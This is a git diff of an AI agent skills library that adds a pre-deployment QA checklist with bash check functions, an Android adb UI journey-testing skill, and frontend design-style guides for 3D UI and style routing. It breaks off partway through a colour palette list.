```bash -PROD="https://www.yourdomain.com" - -# Homepage loads -curl -sI "$PROD" | grep -i "http\|status" - -# Key page loads -curl -sI "$PROD/tools/keyword-density-checker" | grep "200\|301\|404" - -# No JS errors (requires manual browser check) -# Open browser → Console → look for red errors - -# OG image loads -curl -sI "$PROD/images/og/home.jpg" | grep -i "200\|content-type" +qa:api() { + for p; do + local R=$(curl -so /dev/null -w "%{http_code} %{content_type}" "$PROD_URL$p") + echo " $p → $R" + done + local E=$(curl -s "$PROD_URL/api/nonexistent") + echo "$E" | python3 -c "import sys,json; d=json.load(sys.stdin); assert 'error' in d; print('✓ Consistent errors')" 2>/dev/null || echo " ⚠ Inconsistent error shape" +} ``` --- -## Definition of Done +### Phase 7: Git Hygiene -A change is **production-ready** only when ALL of the following are true: +- [ ] No secrets/credentials in diff +- [ ] No `.next`/`node_modules` staged +- [ ] Commit: `type(scope): message` -- [ ] `npx tsc --noEmit` passes -- [ ] `npm run validate` passes (or no script) -- [ ] `npm run lint:canon` passes (or no script) -- [ ] `npx eslint .` passes with 0 warnings -- [ ] `npm test` passes or no tests exist -- [ ] `npm run build` completes successfully -- [ ] Important pages show `○` or `●` in build output (not `λ`) -- [ ] SEO tags visible in `curl` output for key pages -- [ ] All sitemap routes return valid XML -- [ ] No new 404s on previously working routes -- [ ] No secrets in git diff -- [ ] Commit message is scoped and descriptive -- [ ] Social preview platforms show correct card after cache refresh +```bash +qa:git() { + local S=$(git diff HEAD 2>/dev/null | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+") + [ -n "$S" ] && { echo " ✗ Secrets in diff!"; echo "$S"; return 1; } || echo " ✓ No secrets" + local A=$(git status --short 2>/dev/null | grep -E "\.next|node_modules" | head -3) + [ -n "$A" ] && echo " ⚠ Build artifacts:" && echo "$A" || echo " ✓ No artifacts" +} +``` + +--- + +### Phase 8: Post-Deployment Smoke Test + +- [ ] Homepage 200, key pages 200 +- [ ] OG image loads 200 +- [ ] No console errors (manual) +- [ ] Auth flow works (manual) + +```bash +qa:smoke() { + curl -sI "$PROD_URL" | head -1 | grep -q "200" && echo " ✓ Homepage" || echo " ✗ Homepage" + curl -sI "$PROD_URL/sitemap.xml" | head -1 | grep -q "200" && echo " ✓ Sitemap" || echo " ✗ Sitemap" +} +``` + +--- + +### Phase 9: Page Speed, Lazy Load & Bundles + +- [ ] Lighthouse ≥ 90 (Perf, A11y, SEO) +- [ ] FCP < 2.5s, LCP < 4.0s, CLS < 0.1 +- [ ] Images lazy-loaded (`loading="lazy"`), WebP/AVIF +- [ ] Dynamic imports for heavy components +- [ ] Largest JS chunk < 200KB gzipped +- [ ] `font-display: swap`, no FOIT +- [ ] Total page weight < 1MB + +```bash +qa:lazyload() { + local N=$(grep -r "loading=" app/ --include="*.tsx" 2>/dev/null | grep -c "lazy" || true) + echo " Lazy images: $N" + grep -rn "next/dynamic\|dynamic((" app/ --include="*.tsx" 2>/dev/null | head -5 | grep . || echo " ⚠ No dynamic imports" +} +qa:heavyload() { + ls -lhS .next/static/chunks/*.js 2>/dev/null | head -5 + local W=$(curl -so /dev/null -w "%{size_download}" "$PROD_URL" 2>/dev/null || echo 0) + echo " HTML weight: ~$((W/1024))KB" + echo " ⚠ Run 'npx lighthouse $PROD_URL --view' for full weight analysis" +} +# PageSpeed: open "https://pagespeed.web.dev/?url=$PROD_URL" +``` + +--- + +### Phase 10: Cleanup & Vulnerability Scan + +- [ ] `npm prune`, `depcheck` — no unused deps +- [ ] No console.log/debugger in staged code +- [ ] `npm audit` — zero critical/high vulnerabilities +- [ ] No eval/new Function/document.write +- [ ] TODOs resolved + +```bash +qa:vulns() { + npm audit 2>/dev/null | grep -E "critical|high" | grep . && echo " ✗ Vulnerabilities!" || echo " ✓ No critical/high vulns" + npm outdated 2>/dev/null | head -5 | grep . || echo " ✓ All up to date" + local D=$(grep -rn "eval(\|new Function(\|document.write(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ Dangerous patterns:" && echo "$D" || echo " ✓ No dangerous patterns" +} +qa:cleanup() { + local D=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "console\.log\|debugger" | head -5) + [ -n "$D" ] && echo " ✗ Debug artifacts:" && echo "$D" || echo " ✓ No debug artifacts" + local T=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "TODO\|FIXME\|HACK" | head -5) + [ -n "$T" ] && echo " ⚠ TODOs remain:" && echo "$T" +} +``` + +--- + +### Phase 11: UI/UX — Cards, Animation, Error Boundaries + +- [ ] Cards: equal height grid, no overlap, text ellipsis, responsive (1→2→3 col) +- [ ] No horizontal scroll at any viewport (320–1440px) +- [ ] Images: consistent `aspect-ratio` + `object-fit: cover` +- [ ] Touch targets ≥ 44×44px +- [ ] Animations use `transform`+`opacity` only (not layout props) +- [ ] `prefers-reduced-motion` respected +- [ ] Error boundaries at root + route level (`app/error.tsx`, `app/global-error.tsx`) +- [ ] `app/not-found.tsx` and `app/loading.tsx` exist +- [ ] All client fetches show loading + error + empty states +- [ ] Buttons: hover, focus-visible, active, disabled, loading states +- [ ] Forms disable submit on click (no double-submit) + +```bash +qa:ux:cards() { + local E=$(grep -rn "text-overflow\|line-clamp\|truncate" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$E" ] && echo " ✓ Text overflow handling" || echo " ⚠ No text overflow handling" + local A=$(grep -rn "aspect-\|object-fit" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$A" ] && echo " ✓ aspect-ratio/object-fit used" || echo " ⚠ No aspect-ratio set" +} +qa:ux:boundaries() { + for f in app/error.tsx app/global-error.tsx app/not-found.tsx app/loading.tsx; do + [ -f "$f" ] && echo " ✓ $f" || echo " ⚠ Missing $f" + done +} +qa:ux:animation() { + local A=$(grep -rn "animation.*width\|transition.*height\|@keyframes.*top\|@keyframes.*margin" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$A" ] && echo " ⚠ Layout-triggering animations:" && echo "$A" || echo " ✓ No layout-triggering animations" + local P=$(grep -r "@media.*prefers-reduced-motion" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$P" ] && echo " ✓ prefers-reduced-motion found in CSS" || echo " ⚠ No prefers-reduced-motion in CSS" +} +``` + +--- + +### Phase 12: Database & Data Layer + +- [ ] Connection pool configured (no starvation) +- [ ] Schema in sync with migrations +- [ ] Indexes on all queried columns, no N+1 +- [ ] No hardcoded DB credentials in source +- [ ] No raw SQL injection risk +- [ ] No sensitive data leaked in API responses +- [ ] Migrations are idempotent + +```bash +qa:database() { + local H=$(grep -rn "postgres://\|mysql://\|mongodb://" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v ".env" | head -5) + [ -n "$H" ] && { echo " ✗ Hardcoded DB URL:"; echo "$H"; } || echo " ✓ No hardcoded DB URLs" + local R=$(grep -rn "\$queryRaw\|\.raw(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$R" ] && echo " ⚠ Raw SQL:" && echo "$R" || echo " ✓ No raw SQL" + local N=$(grep -rn "\.findMany\|\.findUnique" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v "include:" | head -5) + [ -n "$N" ] && echo " ⚠ Possible N+1:" && echo "$N" || echo " ✓ No N+1 patterns" +} +qa:db:migrations() { + [ -d "prisma/migrations" ] && echo " ✓ Prisma: $(ls prisma/migrations 2>/dev/null | wc -l) migrations" || echo " - No prisma migrations dir" + local M=$(ls db/migrations/*.sql 2>/dev/null | head -5); [ -n "$M" ] && echo " ✓ SQL migrations:" && echo "$M" || echo " - No SQL migration files" +} +``` + +--- + +### Phase 13: Secure Data Rendering + +- [ ] No secrets/tokens in client source or localStorage +- [ ] No `dangerouslySetInnerHTML` without DOMPurify +- [ ] API errors don't leak stack traces +- [ ] Internal IDs use UUIDs not auto-increment +- [ ] User emails masked in UI +- [ ] NEXT_PUBLIC_ vars contain no secrets + +```bash +qa:secure() { + local S=$(git grep -n "api_key\|API_KEY\|secret_key\|PRIVATE_KEY" -- ':!*.env*' ':!*test*' 2>/dev/null | head -5) + [ -n "$S" ] && echo " ✗ Secrets in source:" && echo "$S" || echo " ✓ No hardcoded secrets" + local D=$(grep -rn "dangerouslySetInnerHTML" app/ src/ --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ XSS risk — use DOMPurify:" && echo "$D" || echo " ✓ No dangerouslySetInnerHTML" + local T=$(grep -rn "localStorage\|sessionStorage" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -i "token\|jwt\|secret" | head -5) + [ -n "$T" ] && echo " ⚠ Tokens in storage — use httpOnly cookies:" && echo "$T" || echo " ✓ No tokens in storage" + curl -s "$PROD_URL/api/nonexistent" 2>/dev/null | grep -qi "stack\|Error:" && echo " ✗ Stack trace leak" || echo " ✓ No stack leak" +} +``` + +--- + +## Pre-Commit Hook + +```bash +cat > .git/hooks/pre-commit << 'EOF' +#!/bin/sh +npx tsc --noEmit || exit 1 +npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 || exit 1 +EOF +chmod +x .git/hooks/pre-commit +``` + +--- + +## CI/CD (GitHub Actions) + +```yaml +name: QA +on: [push, pull_request] +jobs: + qa: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + - run: npm ci + - run: npx tsc --noEmit + - run: npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 + - run: npm test -- --runInBand --passWithNoTests + - run: npm run build +``` + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Run full 13-phase flow before deploy | Skip typecheck or lint | +| Set `PROD_URL` in profile/.envrc | Hardcode URLs in scripts | +| OG images ≥ 1200×630 | Use small OG images | +| Animate with `transform`+`opacity` | Animate width/height/top | +| Show loading/error/empty states | Leave users on blank screens | +| `prefers-reduced-motion` for animations | Force motion on all users | +| HttpOnly + Secure cookies for tokens | localStorage for auth tokens | +| Error boundaries at all levels | White screen on crash | +| Database indexes + include/populate | N+1 queries in loops | +| `npm audit` before deploy | Deploy with known vulns | + +--- + +## Common Pitfalls + +| Problem | Solution | +|---------|----------| +| OG tags missing in raw HTML | Use `export const metadata` in Next.js | +| `Disallow: /` in robots.txt | Blocks all crawlers — use specific paths | +| Cards different heights in grid | Use `display: grid` with equal-height rows, not flex | +| Text overflows card | Add `text-overflow: ellipsis` + `overflow: hidden` | +| Animation jank | Animate `transform` not `width`/`height` | +| Form submits twice | Disable button on first click | +| Console errors in prod | Add `no-console` ESLint rule | +| DB connection timeout | Add connection pooling (PgBouncer/Prisma Accelerate) | +| Sensitive data in API | Strip `passwordHash`/`secret` in response transformer | +| App crashes on error | Add `app/error.tsx` error boundary | +| Large JS bundles | Dynamic import heavy components, analyze with `next/bundle-analyzer` | +| Images load slowly | Add `loading="lazy"`, use WebP/AVIF, resize to display size | + +--- + +## Security Notes + +- All `qa:*` functions are read-only (tsc, lint, test, build, curl, grep) +- `PROD_URL` and `QA_AUTH_HEADER` only for environments you own +- Basic secret scanning in `git diff` — for prod, use `trufflehog`/`git-secrets` +- Auth tests with real credentials against prod is destructive — use staging + +--- ## Limitations -- Passing this checklist reduces release risk but does not prove the absence of production bugs. -- Some checks depend on project-specific scripts, deployment topology, and external services that may not exist in every app. -- Manual exploratory testing is still required for critical user journeys, payments, auth, and data mutation flows. +- Passing all phases reduces risk but doesn't eliminate production bugs +- Some checks depend on project-specific tooling (Prisma, NextAuth, etc.) +- Manual UX testing still required for critical user journeys +- SEO checks verify raw HTML only — not social preview rendering +- Route checks verify status codes, not content correctness + +--- + +## Master Checklist + +### Phase 1: Code +- [ ] `tsc --noEmit`, `eslint`, `npm test` pass + +### Phase 2: Build +- [ ] `npm run build` succeeds, no errors, pages static + +### Phase 3: Auth +- [ ] Endpoints respond, protected routes denied, secure cookies + +### Phase 4: Routes +- [ ] All core pages 200, sitemap valid, robots.txt correct + +### Phase 5: SEO +- [ ] title, description, og:*, twitter:card, canonical, favicon, slugs + +### Phase 6: API +- [ ] Status, Content-Type, consistent errors, timing + +### Phase 7: Git +- [ ] No secrets, no artifacts, conventional commit + +### Phase 8: Smoke +- [ ] Homepage + key pages 200, og:image loads + +### Phase 9: Speed +- [ ] Lighthouse ≥ 90, lazy images, dynamic imports, font-display: swap + +### Phase 10: Clean +- [ ] No vulns, no debug artifacts, unused deps pruned + +### Phase 11: UI/UX +- [ ] Cards responsive, error boundaries, button states, reduced-motion + +### Phase 12: Database +- [ ] Indexes, no N+1, no hardcoded URLs, no sensitive leaks + +### Phase 13: Secure Rendering +- [ ] No secrets in client, no XSS, no stack leaks, UUIDs diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/.codex-plugin/plugin.json index d2c2f1aa..9c170a35 100644 --- a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-awesome-skills", - "version": "12.8.0", + "version": "12.9.0", "description": "Plugin-safe Codex plugin for the Antigravity Awesome Skills library.", "author": { "name": "sickn33 and contributors", @@ -19,7 +19,7 @@ "skills": "./skills/", "interface": { "displayName": "Antigravity Awesome Skills", - "shortDescription": "1,544 plugin-safe skills for coding, security, product, and ops workflows.", + "shortDescription": "1,595 plugin-safe skills for coding, security, product, and ops workflows.", "longDescription": "Install a plugin-safe Codex distribution of Antigravity Awesome Skills. Skills that still need hardening or target-specific setup remain available in the repo but are excluded from this plugin.", "developerName": "sickn33 and contributors", "category": "Productivity", diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md new file mode 100644 index 00000000..13958157 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/android-ui-journey-testing/SKILL.md @@ -0,0 +1,191 @@ +--- +name: android-ui-journey-testing +description: "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting." +category: testing +risk: critical +source: self +source_type: self +date_added: "2026-06-18" +author: Owais +tags: [android, journey-testing, ui-verification, testing, adb, automation] +tools: [claude, cursor, gemini, antigravity] +--- + +# Android UI Journey Testing + +## Overview + +This skill outlines the standard workflow for running XML-specified User Journey tests on Android applications. A "journey" is a sequenced set of user actions and state assertions designed to verify end-to-end functionality. The journey XML acts as the source of truth for the app's behavior. The executor proceeds sequentially, performing UI interactions, checking state assertions, and writing a standardized JSON outcome report. + +## When to Use + +- Use when evaluating an Android application's UI behavior against an XML test specification. +- Use when automating multi-step user flows (e.g., login, checkout, navigation) and verifying expectations. +- Use when running verification tests and generating standardized JSON test reports. +- Use when debugging application flows on physical devices or emulators using ADB commands. + +## How It Works + +```mermaid +graph TD + A[Parse Journey XML] --> B[Execute Action / Interaction] + B --> C{Success?} + C -- Yes --> D[Verify State Expectation / Assertion] + C -- No/Crash --> G[Mark FAILED & Exit] + D -- Passed --> E{More Steps?} + D -- Failed --> G + E -- Yes --> B + E -- No --> F[Output JSON Summary] +``` + +### Step 1: Parse the Journey Specification +Read and parse the XML test suite structure. The root node `<journey>` defines the test case name, and the `<actions>` block contains the sequence of test steps. + +```xml +<journey name="Search and Cart Flow"> + <description>Verify that searching for an item and adding it to the cart succeeds.</description> + <actions> + <action>Search for soda</action> + <action>Tap the first search result</action> + <action>Verify that the product detail screen is shown</action> + </actions> +</journey> +``` + +### Step 2: Sequential Step Evaluation +Process each `<action>` element in the exact order specified. Test steps are classified into two groups: + +#### A. Interactive Actions (Taps, Swipes, Text Input) +Perform the physical UI interaction using ADB. +- **Tapping**: Tap the center of the target element's bounds: + ```bash + adb shell input tap <x> <y> + ``` +- **Swiping/Scrolling**: Swipe from coordinate to coordinate with a duration: + ```bash + adb shell input swipe <x1> <y1> <x2> <y2> <duration_ms> + ``` +- **Text Typing**: Type text into the active input field: + ```bash + adb shell input text "<string>" + ``` +If the element is missing or the action cannot be performed, the action and the journey fail. + +#### B. State Assertions (Expectation Verification) +Steps beginning with "verify", "check", or "ensure" represent state assertions. +- Inspect the current screen (using screenshots or `uiautomator dump`) without interacting or scrolling. +- Confirm all sub-assertions are met. For example, *"Verify that the app is on the Home screen and the logo is visible"* fails if the home screen is not displayed **or** the logo is missing. + +### Step 3: Handle Failures and Crashes +If the application crashes, exits, freezes, or fails an assertion: +1. Immediately stop journey execution. +2. Mark the failed step as `FAILED`. +3. Mark any subsequent steps as `SKIPPED`. +4. Document the exact reason for failure. + +### Step 4: Generate JSON Report +Format the execution results into a standardized JSON schema and write it to the output log. + +--- + +## Examples + +### Example 1: Full Journey XML Specification + +```xml +<journey name="Login and Profile Edit"> + <description>Logs into the app, navigates to settings, and changes user profile information.</description> + <actions> + <action>Verify that the username input field is visible</action> + <action>Tap the username input field</action> + <action>Type "testuser" into the input</action> + <action>Tap the password input field</action> + <action>Type "password123" into the input</action> + <action>Tap the "Login" button</action> + <action>Verify that the Home dashboard is visible and user profile photo is shown</action> + </actions> +</journey> +``` + +### Example 2: Standard JSON Outcome Report + +```json +{ + "journey": "Login and Profile Edit", + "results": [ + { + "action": "Verify that the username input field is visible", + "status": "PASSED", + "commands": [], + "comment": "Username input detected at bounds [100,200][980,300] via UI dump." + }, + { + "action": "Tap the username input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 250" + ], + "comment": "Tapped center coordinates of username input." + }, + { + "action": "Type \"testuser\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"testuser\"" + ], + "comment": "Username typed successfully." + }, + { + "action": "Tap the password input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 370" + ], + "comment": "Tapped center of password input." + }, + { + "action": "Type \"password123\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"password123\"" + ], + "comment": "Password typed successfully." + }, + { + "action": "Tap the \"Login\" button", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 500" + ], + "comment": "Login button clicked." + }, + { + "action": "Verify that the Home dashboard is visible and user profile photo is shown", + "status": "FAILED", + "commands": [], + "comment": "Dashboard loaded but profile photo was missing from the UI header." + } + ] +} +``` + +--- + +## Best Practices + +- ✅ **Calculate Centers for Taps**: When parsing element bounds like `[x1,y1][x2,y2]`, always compute the middle coordinate: + $$x_{center} = \frac{x_1 + x_2}{2}, \quad y_{center} = \frac{y_1 + y_2}{2}$$ +- ✅ **Include Sleep Buffers**: Always add a short delay (e.g., 1-2 seconds) after interactive actions (like button taps) to let layouts and transitions render before executing assertions. +- ✅ **Fail Fast**: Stop the test immediately upon encountering the first failure. Continuing after a failure leads to invalid results. +- ✅ **Log Precise Commands**: Include every raw command (such as `adb shell input tap`) in the JSON output list for diagnostics. + +## Limitations + +- The parser only evaluates the static screen hierarchy (e.g. `uiautomator dump`). Elements that require scrolling are marked as not visible unless a scrolling action is explicitly performed. +- Non-standard UI components (like custom OpenGL canvas views) cannot be read via standard accessibility trees and may require screenshot analysis or hardcoded click maps. +- Key events and text typing via ADB do not trigger standard soft keyboard events on all emulator images, which can lead to input validation issues. + +## Related Skills + +- `@android-cli` - General CLI tool syntax, package install, and device queries. +- `@android_ui_verification` - Direct ADB script templates for general UI checks. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md new file mode 100644 index 00000000..02f97ce6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/3d-ui/SKILL.md @@ -0,0 +1,259 @@ +--- +name: 3d-ui +description: Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# 3D UI + +> "Breaking the plane. Interfaces that exist in a three-dimensional, rotatable space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **True Depth (Z-Axis Translation)**: Elements don't just have shadows; they physically move closer to or further from the camera. +2. **Perspective**: Use CSS perspective or WebGL to create realistic vanishing points. +3. **Interactive Rotation**: Elements should respond to mouse movement or device gyroscope by tilting or rotating in 3D space. + +## Visual DNA +- **Colors**: Bold, striking palettes like **Midnight Luxury** or **Industrial Chic**. 3D elements need high contrast to show their geometry. +- **Typography**: Bold, blocky, or extruded text. +- **Graphics**: Instead of flat icons, use rendered 3D assets (.glb, .gltf, or high-res PNGs of 3D objects). + +## Web Implementation +- Rely heavily on `perspective`, `transform-style: preserve-3d`, and `rotateX`/`rotateY`. +- **CSS Example**: +```css +.perspective-container { + perspective: 1000px; + display: flex; + justify-content: center; + align-items: center; +} + +.card-3d { + width: 300px; + height: 400px; + transform-style: preserve-3d; + transition: transform 0.5s ease; + + /* Initial slight rotation */ + transform: rotateX(15deg) rotateY(-15deg); +} + +.card-3d:hover { + /* Straighten out on hover */ + transform: rotateX(0) rotateY(0) translateZ(50px); +} + +/* Inner elements popping out */ +.card-content { + transform: translateZ(30px); /* Pushes content 30px closer to viewer */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Card3D: View { + @State private var dragOffset = CGSize.zero + + var body: some View { + VStack { + Text("3D Card") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(width: 300, height: 400) + .background( + LinearGradient(colors: [.blue, .purple], startPoint: .topLeading, endPoint: .bottomTrailing) + ) + .cornerRadius(24) + .shadow(radius: 20) + // Magic 3D effect based on drag gesture + .rotation3DEffect( + .degrees(Double(dragOffset.width / 10)), + axis: (x: 0, y: 1, z: 0), + perspective: 0.5 + ) + .rotation3DEffect( + .degrees(Double(-dragOffset.height / 10)), + axis: (x: 1, y: 0, z: 0), + perspective: 0.5 + ) + .gesture( + DragGesture() + .onChanged { value in + withAnimation(.interactiveSpring()) { + dragOffset = value.translation + } + } + .onEnded { _ in + withAnimation(.spring()) { + dragOffset = .zero + } + } + ) + } +} +``` +- SwiftUI makes this incredibly easy with `.rotation3DEffect()`. +- Use the `perspective` parameter (default 1/6, higher = more distorted) to control the camera distance. +- Link the rotation axes (`x`, `y`) to drag gestures or CoreMotion (gyroscope) for interactive 3D UI. + +### Flutter +```dart +class Card3D extends StatefulWidget { + @override + State<Card3D> createState() => _Card3DState(); +} + +class _Card3DState extends State<Card3D> { + Offset _offset = Offset.zero; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onPanUpdate: (details) { + setState(() => _offset += details.delta); + }, + onPanEnd: (_) { + setState(() => _offset = Offset.zero); // Snap back + }, + child: TweenAnimationBuilder( + tween: Tween<Offset>(begin: Offset.zero, end: _offset), + duration: const Duration(milliseconds: 200), + curve: Curves.easeOut, + builder: (context, Offset offset, child) { + // Perspective Matrix + final transform = Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(-offset.dy * 0.01) + ..rotateY(offset.dx * 0.01); + + return Transform( + transform: transform, + alignment: FractionalOffset.center, + child: Container( + width: 300, + height: 400, + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Colors.blue, Colors.purple]), + borderRadius: BorderRadius.circular(24), + boxShadow: const [BoxShadow(color: Colors.black45, blurRadius: 20)], + ), + alignment: Alignment.center, + child: const Text('3D Card', + style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: FontWeight.bold)), + ), + ); + }, + ), + ); + } +} +``` +- The secret to perspective in Flutter is `Matrix4.identity()..setEntry(3, 2, 0.001)`. +- Wrap the target container in a `Transform` widget and apply rotations on the X and Y axes. +- Use `TweenAnimationBuilder` to smooth out the return-to-center physics. + +### React Native +```jsx +const Card3D = () => { + const pan = useRef(new Animated.ValueXY()).current; + + const panResponder = useRef( + PanResponder.create({ + onStartShouldSetPanResponder: () => true, + onPanResponderMove: Animated.event([null, { dx: pan.x, dy: pan.y }], { useNativeDriver: false }), + onPanResponderRelease: () => { + Animated.spring(pan, { toValue: { x: 0, y: 0 }, useNativeDriver: false }).start(); + }, + }) + ).current; + + // Map drag distance to degrees + const rotateX = pan.y.interpolate({ inputRange: [-200, 200], outputRange: ['20deg', '-20deg'] }); + const rotateY = pan.x.interpolate({ inputRange: [-200, 200], outputRange: ['-20deg', '20deg'] }); + + return ( + <Animated.View + {...panResponder.panHandlers} + style={{ + width: 300, height: 400, + backgroundColor: '#6b21a8', + borderRadius: 24, + justifyContent: 'center', alignItems: 'center', + // Pseudo-3D transforms + transform: [ + { perspective: 1000 }, + { rotateX }, + { rotateY } + ] + }} + > + <Text style={{ color: '#fff', fontSize: 32, fontWeight: '700' }}>3D Card</Text> + </Animated.View> + ); +}; +``` +- True 3D models require `react-three-fiber`. +- For UI perspective transforms, use the `transform` array: `[{ perspective: 1000 }, { rotateX: '...' }, { rotateY: '...' }]`. +- `perspective` MUST be the first item in the transform array for the effect to render correctly. + +### Jetpack Compose +```kotlin +@Composable +fun Card3D() { + var offset by remember { mutableStateOf(Offset.Zero) } + val animatedOffset by animateOffsetAsState( + targetValue = offset, + animationSpec = spring(dampingRatio = Spring.DampingRatioMediumBouncy) + ) + + Box( + modifier = Modifier + .size(300.dp, 400.dp) + .pointerInput(Unit) { + detectDragGestures( + onDrag = { change, dragAmount -> + change.consume() + offset += dragAmount + }, + onDragEnd = { offset = Offset.Zero }, + onDragCancel = { offset = Offset.Zero } + ) + } + .graphicsLayer { + // Apply 3D rotation based on drag offset + rotationX = -animatedOffset.y * 0.1f + rotationY = animatedOffset.x * 0.1f + cameraDistance = 8f * density // Sets the perspective + } + .shadow(20.dp, RoundedCornerShape(24.dp)) + .clip(RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color.Blue, Color.Magenta))) + ) { + Text("3D Card", + color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold, + modifier = Modifier.align(Alignment.Center)) + } +} +``` +- Apply 3D transformations inside `Modifier.graphicsLayer { }`. +- Set `rotationX` and `rotationY` for the tilt. +- **Critical**: Set `cameraDistance` to establish the Z-axis perspective vanishing point. Usually `8f * density` is a good starting point. + +## Do's and Don'ts +- **DO**: Tie 3D rotation to user input (mouse move on web, device tilt on mobile) for maximum impact. +- **DON'T**: Make text itself 3D unless it's a massive headline. 3D text is generally unreadable at small sizes. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/SKILL.md new file mode 100644 index 00000000..2fa601fb --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/SKILL.md @@ -0,0 +1,170 @@ +--- +name: design-it +description: "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic." +category: frontend +risk: safe +source: self +source_type: self +date_added: "2026-06-17" +author: community +tags: [design, ui, frontend] +tools: [claude, cursor, gemini] +--- + +# Design-It: Sophisticated UI Style Router + +This is the main entry point for the **design-it** skill system. Instead of falling back to generic "AI slop" aesthetics, you have access to 48 distinct, deeply opinionated design styles. + +## When to Use +Use this skill when a user requests building any frontend interface (website, app screen, UI component) and you want to apply a specific, opinionated design aesthetic instead of generic defaults. + +## How to Use This Skill + +When a user asks you to build a frontend interface (web or app): +1. **Identify the Style (Fuzzy Matching)**: Look for keywords in their prompt (e.g., "minimal", "glass", "retro"). You do not need an exact match. Use your semantic understanding to map their request to one of the 48 styles. For example: + - "Apple style" or "VisionOS" -> `spatial-design`, `bento-ui`, or `glassmorphism` + - "Windows 8" or "Metro" -> `tile-design` + - "Terminal" or "Hacker" -> `sci-fi-interface` or `brutalist-typography` + - "Bauhaus" or "Clean" -> `swiss-design` + - "Cyber" or "Matrix" -> `cyberpunk-ui` + If they don't specify a style, choose one that best fits the project context. +2. **Read the Style Reference**: Check the **Style Index** below to find the correct path for the chosen style. Use the `view_file` tool to read its specific `SKILL.md`. +3. **Pick a Palette**: If the user explicitly defined a theme or colors, **use their requested colors**. If they did NOT specify colors, you MUST choose from one of the **10 Universal Palettes** below. +4. **Execute**: Write the code following the specific principles of the chosen style. Do not blend styles unless requested. + +## Universal Color Palettes +If the user provides their own colors, use them. Otherwise, you MUST use one of these 10 award-winning, highly sophisticated palettes to avoid generic neon/purplish gradients. When picking a palette, stick to these exact hex codes and establish CSS variables for them. + +1. **Yacht Club** (Nautical / Classic Elegance) + - Backgrounds: `#F9F6F0` + - Primary Text/Accents: `#1B2A49` + - CTA/Highlights: `#C85A32` + - Secondary Base: `#E2D8C9` +2. **Desert Mirage** (Warm / Organic) + - Backgrounds: `#F4EFEA` + - Primary Text/Accents: `#2D2B2A` + - CTA/Highlights: `#A65E44` + - Secondary Base: `#8C8781` +3. **Industrial Chic** (Strong / Minimalist) + - Backgrounds: `#D1D1D1` + - Primary Text/Accents: `#111111` + - CTA/Highlights: `#9A3B3B` + - Secondary Base: `#757575` +4. **Monochromatic Brown** (Comfort / Nostalgic) + - Backgrounds: `#D9CBBF` + - Primary Text/Accents: `#4A362D` + - CTA/Highlights: `#7A4C3A` + - Secondary Base: `#948275` +5. **Earth-Grounded Elegance** (Calm / Sustainable) + - Backgrounds: `#F7F5F0` + - Primary Text/Accents: `#3A4B3A` + - CTA/Highlights: `#8A9A86` + - Secondary Base: `#D3CEC4` +6. **Minimalist Slate** (Professional / Tech) + - 